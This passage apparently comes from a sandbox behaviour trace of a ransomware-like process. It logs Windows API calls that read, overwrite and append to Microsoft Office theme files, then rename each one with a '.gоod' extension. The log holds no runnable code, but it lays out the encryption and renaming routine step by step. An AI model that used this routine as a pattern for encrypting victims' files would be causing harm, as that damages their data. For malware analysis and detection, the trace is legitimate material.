lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", lpFilePart=0x0) returned 0x57 [0155.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.995] GetFileType (hFile=0x7dc) returned 0x1 [0155.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.995] GetFileType (hFile=0x7dc) returned 0x1 [0155.995] WriteFile (in: hFile=0x7dc, lpBuffer=0x339ee18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x339ee18*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0155.995] CloseHandle (hObject=0x7dc) returned 1 [0155.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", lpFilePart=0x0) returned 0x57 [0155.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.gоod", lpFilePart=0x0) returned 0x5c [0155.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0155.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5931667f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb553)) returned 1 [0155.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0155.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.gоod")) returned 1 [0155.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", lpFilePart=0x0) returned 0x5f [0155.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0155.996] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), fInfoLevelId=0x0, lpFileInformation=0x341f2a8 | out: lpFileInformation=0x341f2a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0ad)) returned 1 [0155.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0155.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", lpFilePart=0x0) returned 0x5f [0155.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.996] GetFileType (hFile=0x7dc) returned 0x1 [0155.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.997] GetFileType (hFile=0x7dc) returned 0x1 [0155.997] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0155.997] ReadFile (in: hFile=0x7dc, lpBuffer=0x341f740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x341f740*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0155.999] CloseHandle (hObject=0x7dc) returned 1 [0155.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", lpFilePart=0x0) returned 0x5f [0155.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.999] GetFileType (hFile=0x7dc) returned 0x1 [0155.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.999] GetFileType (hFile=0x7dc) returned 0x1 [0155.999] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xb0ad [0155.999] WriteFile (in: hFile=0x7dc, lpBuffer=0x3421cb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3421cb0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0156.117] CloseHandle (hObject=0x7dc) returned 1 [0156.897] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", lpFilePart=0x0) returned 0x5f [0156.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0157.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0157.290] GetFileType (hFile=0x80c) returned 0x1 [0157.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0157.291] GetFileType (hFile=0x80c) returned 0x1 [0157.291] ReadFile (in: hFile=0x80c, lpBuffer=0x34a14f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x34a14f8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0157.903] CloseHandle (hObject=0x80c) returned 1 [0157.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", lpFilePart=0x0) returned 0x5f [0157.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0157.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0157.904] GetFileType (hFile=0x80c) returned 0x1 [0157.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0157.904] GetFileType (hFile=0x80c) returned 0x1 [0157.904] WriteFile (in: hFile=0x80c, lpBuffer=0x3393bf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3393bf8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0157.904] CloseHandle (hObject=0x80c) returned 1 [0157.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", lpFilePart=0x0) returned 0x5f [0157.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.gоod", lpFilePart=0x0) returned 0x64 [0157.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0157.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a5442db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0bd)) returned 1 [0157.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0157.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.gоod")) returned 1 [0157.905] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", lpFilePart=0x0) returned 0x57 [0157.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0157.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), fInfoLevelId=0x0, lpFileInformation=0x34efcd8 | out: lpFileInformation=0x34efcd8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbcee)) returned 1 [0157.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0157.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", lpFilePart=0x0) returned 0x57 [0157.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0157.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0157.906] GetFileType (hFile=0x80c) returned 0x1 [0157.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0157.906] GetFileType (hFile=0x80c) returned 0x1 [0157.906] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0157.906] ReadFile (in: hFile=0x80c, lpBuffer=0x34f0130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x34f0130*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0157.908] CloseHandle (hObject=0x80c) returned 1 [0157.908] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", lpFilePart=0x0) returned 0x57 [0157.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0157.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0157.908] GetFileType (hFile=0x80c) returned 0x1 [0157.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0157.908] GetFileType (hFile=0x80c) returned 0x1 [0157.908] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xbcee [0157.908] WriteFile (in: hFile=0x80c, lpBuffer=0x34f13e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x34f13e8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0158.799] CloseHandle (hObject=0x80c) returned 1 [0158.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", lpFilePart=0x0) returned 0x57 [0158.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0158.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0158.800] GetFileType (hFile=0x80c) returned 0x1 [0158.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0158.800] GetFileType (hFile=0x80c) returned 0x1 [0158.800] ReadFile (in: hFile=0x80c, lpBuffer=0x3627618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3627618*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0158.885] CloseHandle (hObject=0x80c) returned 1 [0158.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", lpFilePart=0x0) returned 0x57 [0158.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0158.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0158.885] GetFileType (hFile=0x80c) returned 0x1 [0158.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0158.885] GetFileType (hFile=0x80c) returned 0x1 [0158.885] WriteFile (in: hFile=0x80c, lpBuffer=0x3429e60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3429e60*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0158.886] CloseHandle (hObject=0x80c) returned 1 [0158.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", lpFilePart=0x0) returned 0x57 [0158.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.gоod", lpFilePart=0x0) returned 0x5c [0158.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0158.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5aea7d59, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbcfe)) returned 1 [0158.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0158.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.gоod")) returned 1 [0158.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", lpFilePart=0x0) returned 0x53 [0158.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0158.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), fInfoLevelId=0x0, lpFileInformation=0x34a7300 | out: lpFileInformation=0x34a7300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x480a2)) returned 1 [0158.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0158.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", lpFilePart=0x0) returned 0x53 [0158.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0158.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0158.888] GetFileType (hFile=0x80c) returned 0x1 [0158.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0158.888] GetFileType (hFile=0x80c) returned 0x1 [0158.888] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0158.888] ReadFile (in: hFile=0x80c, lpBuffer=0x34a7738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x34a7738*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0158.926] CloseHandle (hObject=0x80c) returned 1 [0158.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", lpFilePart=0x0) returned 0x53 [0158.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0158.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0158.926] GetFileType (hFile=0x80c) returned 0x1 [0158.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0158.926] GetFileType (hFile=0x80c) returned 0x1 [0158.926] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x480a2 [0158.926] WriteFile (in: hFile=0x80c, lpBuffer=0x34a8a20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x34a8a20*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0158.929] CloseHandle (hObject=0x80c) returned 1 [0158.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", lpFilePart=0x0) returned 0x53 [0158.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0158.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0158.929] GetFileType (hFile=0x80c) returned 0x1 [0158.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0158.929] GetFileType (hFile=0x80c) returned 0x1 [0158.929] ReadFile (in: hFile=0x80c, lpBuffer=0x34aad20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x34aad20*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0158.959] CloseHandle (hObject=0x80c) returned 1 [0158.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme 